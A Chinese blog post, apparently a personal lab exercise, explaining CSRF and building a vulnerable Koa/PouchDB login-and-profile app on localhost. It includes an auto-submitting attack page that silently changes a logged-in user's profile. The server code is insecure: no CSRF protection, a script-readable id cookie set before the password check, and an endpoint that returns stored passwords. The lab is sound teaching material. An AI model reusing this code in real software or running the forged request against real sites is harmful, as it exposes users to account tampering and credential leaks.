csrf實驗

張小胖愛逼逼發表於2019-02-16

CSRF攻擊實驗

CSRF攻擊涉及使用者受害者,受信任的網站和惡意網站。當受害者與受信任的站點擁有一個活躍的會話同時,如果訪問惡意網站,惡意網站會注入一個HTTP請求到為受信任的站點,從而破話使用者的資訊。

CSRF 攻擊總是涉及到三個角色:信賴的網站(Collabtive)、受害者的 session 或 cookie 以及一個惡意網站。受害者會同時訪問惡意網站與受信任的站點會話的時候。攻擊包括一系列步驟,如下:

  1. 受害者使用者使用他/她的使用者名稱和密碼登入到可信站點,從而建立一個新的會話。

  2. 受信任站點儲存受害者會話的 cookie 或 session 在受害者使用者的 web 瀏覽器端。

  3. 受害者使用者在不退出信任網站時就去訪問惡意網站。

  4. 惡意網站的網頁傳送一個請求到受害者的受信任的站點使用者的瀏覽器。

  5. web 瀏覽器將自動連線會話 cookie,因為它是惡意的要求針對可信站點。

  6. 受信任的站點如果受到 CSRF 攻擊,攻擊者的一些惡意的請求會被攻擊者傳送給信任站點。

惡意網站可以建立HTTP GET或POST請求到受信任的站點。一些HTML標籤,比如img iframe,框架,形式沒有限制的URL,可以在他們的使用屬性中。

環境搭建

伺服器

我使用的是koa框架作為後端框架搭建的伺服器,順便也算是學習一下koa框架,之前沒有學過,由於是初學,搭建過程有點漫長

話不多說上程式碼:

  // app.js
  const Koa = require(`koa`);
  const app = new Koa();
  const server = require(`koa-static`);
  const router = require(`koa-router`)();
  const PouchDB = require(`pouchdb`);
  const db = new PouchDB(`http://localhost:5984/csrf`);

  app.use(async (ctx, next) => {
      console.log(`Process ${ctx.request.method} ${ctx.request.url}...`);
      await next();
  });

  // add url-route:
  router.post(`/login`, async (ctx, next) => {
    let postData = await parsePostData( ctx );
    try {
      let response = await db.get(`id_${postData.name}`);
      let exp = new Date();
      ctx.cookies.set(
        `id`, 
        `id_${postData.name}`,
        {
          domain: `localhost`,  // 寫cookie所在的域名
          path: `/userInfo.html`,       // 寫cookie所在的路徑
          maxAge: 24*60*60*1000, // cookie有效時長
          expires: exp.setTime(exp.getTime() + 24*60*60*1000),  // cookie失效時間
          httpOnly: false,  // 是否只用於http請求中獲取
          overwrite: false  // 是否允許重寫
        }
      )
      if(response.password === postData.password) ctx.redirect(`userInfo.html`)
    } catch (err) {
      ctx.body = "<p>登入失敗,點選<a href=`index.html`>這裡</a>返回</p>";
    }
  });

  router.post(`/regist`, async (ctx, next) => {
    let postData = await parsePostData( ctx );
    
    postData._id = `id_${postData.name}`;
    try {
      let response = await db.put(postData);
      ctx.body = "<p>註冊成功,點選<a href=`index.html`>這裡</a>返回至登入介面</p>";
    } catch (err) {
      ctx.body = "<p>使用者名稱已存在,點選<a href=`index.html`>這裡</a>返回</p>";
    }
  });


  router.post(`/getUserInfo`, async (ctx, next) => {
    let postData = await parsePostDataFromAjax( ctx );
    let _id = {};
    _id[postData.split(`:`)[0]] = postData.split(`:`)[1];
    try {
      let doc = await db.get(_id.id);
      ctx.body = doc;
    } catch (err) {
      ctx.body = `發生錯誤`;
    }
  });

  router.post(`/change`, async (ctx, next) => {
    let postData = await parsePostData( ctx );
    console.log(postData);
    try {
      let doc = await db.get(postData.id);
      let response = await db.put({
        _id: doc._id,
        _rev: doc._rev,
        name: postData.name,
        password: doc.password,
        sex: postData.sex,
        desc: postData.desc
      });
      ctx.body = "<p>修改成功,點選<a href=`index.html`>這裡</a>返回至登入介面</p>";
    } catch (err) {
      console.log(err);
    }
  });

  app.use(router.routes());
  app.use(server(__dirname + `/`));
  app.listen(3001);
  /**
  * 
  * 對於POST請求的處理,koa2沒有封裝獲取引數的方法,
  * 需要通過解析上下文context中的原生node.js請求
  * 物件req,將POST表單資料解析成query string(例
  * 如:a=1&b=2&c=3),再將query string 解析成
  * JSON格式(例如:{"a":"1", "b":"2", "c":"3"})
  */
  // 解析上下文裡node原生請求的POST引數,這個是處理表單form傳入引數
  function parsePostData( ctx ) {
    return new Promise((resolve, reject) => {
      try {
        let postdata = "";
        ctx.req.addListener(`data`, (data) => {
          postdata += data
        })
        ctx.req.addListener("end",function(){
          let parseData = parseQueryStr( postdata )
          
          resolve( parseData )
        })
      } catch ( err ) {
        reject(err)
      }
    })
  }
  // 解析上下文裡node原生請求的POST引數,這個是處理Ajax傳入引數
  function parsePostDataFromAjax( ctx ) {
    return new Promise((resolve, reject) => {
      try {
        let postdata = "";
        ctx.req.addListener(`data`, (data) => {
          postdata += data
        })
        ctx.req.addListener("end",function(){
        resolve( postdata )
        })
      } catch ( err ) {
        reject(err)
      }
    })
  }

  // 將POST請求引數字串解析成JSON
  function parseQueryStr( queryStr ) {
    let queryData = {}
    let queryStrList = queryStr.split(`&`);
    for (  let [ index, queryStr ] of queryStrList.entries()  ) {
      let itemList = queryStr.split(`=`)
      queryData[ itemList[0] ] = decodeURIComponent(itemList[1])
    }
    return queryData
  }

就這一個檔案,裡面包含了很多東西

  • koa-static是koa的一箇中介軟體,用於獲取靜態檔案的

  • koa-router是koa的一箇中介軟體,用於路由系統

  • pouchDB是我使用的couchDB的配套使用的框架

資料庫

我使用的是couchDB資料庫,具體怎麼使用看這裡,用法很簡單,他的介面是一個網頁

前端頁面

前端頁面總共有三個,分別是index.html,regist.html,userInfo.html,其作用分別是登入,註冊,展示/修改使用者資訊,我這裡沒有使用css樣式。。。有點醜

index.html

  <!DOCTYPE html>
  <html lang="en">
  <head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>登入</title>
  </head>
  <body>
    <h2>登入</h2>
    <form id="login" action="/login" method="post">
      姓名:<input tyep="text" name="name" />
      密碼:<input type="password" name="password" />
    </form>
    <button id="button">登入</button>
    <a href="./regist.html">註冊</a>
  </body>
  <script>
    var button = document.getElementById(`button`);
    var form = document.getElementById(`login`);
    button.onclick = function() {
      form.submit();
    }
  </script>
  </html>

regist.html

  <!DOCTYPE html>
  <html lang="en">
  <head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>註冊</title>
  </head>
  <body>
    <h2>註冊</h2>
    <form id="regist" action="/regist" method="post">
      姓名:<input tyep="text" name="name" /><br>
      密碼:<input type="password" name="password" /><br>
      性別:<input type="radio" name="sex" value="male" />男<input type="radio" name="sex" value="female" />女<br>
      描述:<textarea name="desc" id="" cols="30" rows="10"></textarea>
    </form>
    <button id="button">註冊</button>
    <a href="./index.html">登入</a>
  </body>
  <script>
    var button = document.getElementById(`button`);
    var form = document.getElementById(`regist`);
    button.onclick = function() {
      form.submit();
    }
  </script>
  </html>

userInfo.html

這個頁面我使用了ajax,所以引入了jQuery

  <!DOCTYPE html>
  <html lang="en">
  <head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <script src="./jquery-3.2.1.min.js"></script>
    <title>使用者資訊</title>
  </head>
  <body>
    <div>
      <h1>使用者資訊</h1>
      <div>姓名:<span id="name"></span></div>
      <div>性別:<span id="sex"></span></div>
      <div>描述:<span id="desc"></span></div>
      <h1>修改資訊</h1>
      <form id="change" action="/change" method="post">
        <input id="id" name="id" hidden value=""/>
        姓名:<input tyep="text" name="name" /><br>
        性別:<input type="radio" name="sex" value="male" />男<input type="radio" name="sex" value="female" />女<br>
        描述:<textarea name="desc" id="" cols="30" rows="10"></textarea>
      </form>
      <button id="button">修改</button>
    </div>
  </body>
  <script>
    window.onload = function() {
      var id = document.cookie.split(";")[0].split("=").join(`:`);
      $.ajax({
        url: `http://localhost:3001/getUserInfo`,
        data: id,
        method: `post`,
      }).then(function(res) {
        var doc = res;
        $("#name").text(doc.name);
        $("#sex").text(doc.sex);
        $("#desc").text(doc.desc);
        $("#id").val(doc._id);
      })
      var form = document.getElementById("change");
      var button = document.getElementById("button");
      button.onclick = function() {
        form.submit();
      }
    }
  </script>
  </html>

最後放上package.json

  {
    "name": "csrf",
    "version": "1.0.0",
    "description": "",
    "main": "app.js",
    "scripts": {
      "start": "node app.js"
    },
    "author": "",
    "license": "ISC",
    "devDependencies": {
      "koa": "^2.2.0",
      "koa-router": "^7.2.1",
      "koa-static": "^3.0.0",
      "pouchdb": "^6.2.0"
    }
  }

命令列執行

  npm install 
  npm start

CSRF攻擊

終於到了關鍵,其實也就那麼一剎那,很快我們的步驟如下:

  1. 首先我註冊了一個賬戶,然後我登入這個賬戶檢視資訊,以及他的cookie引數,在圖中我們發現cookie裡面有一個重要資訊是ID,這個就是當前使用者的ID

  2. 接下來我通過瀏覽器開發者工具檢視錶單資料以及請求的url以方便我構造假請求

  3. 編寫csrf_hack.html

  <!DOCTYPE html>
    <html lang="en">
    <head>
      <meta charset="UTF-8">
      <meta name="viewport" content="width=device-width, initial-scale=1.0">
      <meta http-equiv="X-UA-Compatible" content="ie=edge">
      <title>攻擊頁面</title>
    </head>
    <body>
      <h1>這是一個攻擊頁面</h1>
    </body>
    <script>
      function hack() {
        var fields;
        fields += "<input type=`hidden` name=`id` value=`id_1111`/>";
        fields += "<input type=`hidden` name=`name` value=`testName`>";
        fields += "<input type=`hidden` name=`sex` value=`testSex`>";
        fields += "<input type=`hidden` name=`desc` value=`testDesc`>";
        
        var url = "http://localhost:3001/change";
        var p = document.createElement("form");
        p.action = url;
        p.innerHTML = fields;
        p.target = "_self";
        p.method = "post";

        document.body.appendChild(p);
        p.submit();
      }
      window.onload = function() {
        hack();
      }
    </script>
    </html>
```
4. 然後在啟動一個服務,將剛才編寫的csrf_hack.html頁面放進去,然後訪問這個頁面(這裡我偷懶,直接把剛才的埠修改了一個,然後另開一個控制檯啟動服務,然後訪問),接下來再次登入剛才的賬號,發現剛才寫在csrf_hack.html頁面的資訊更替上去了

注意事項
1. 如果要使用async,await這兩個node版本需要在7以上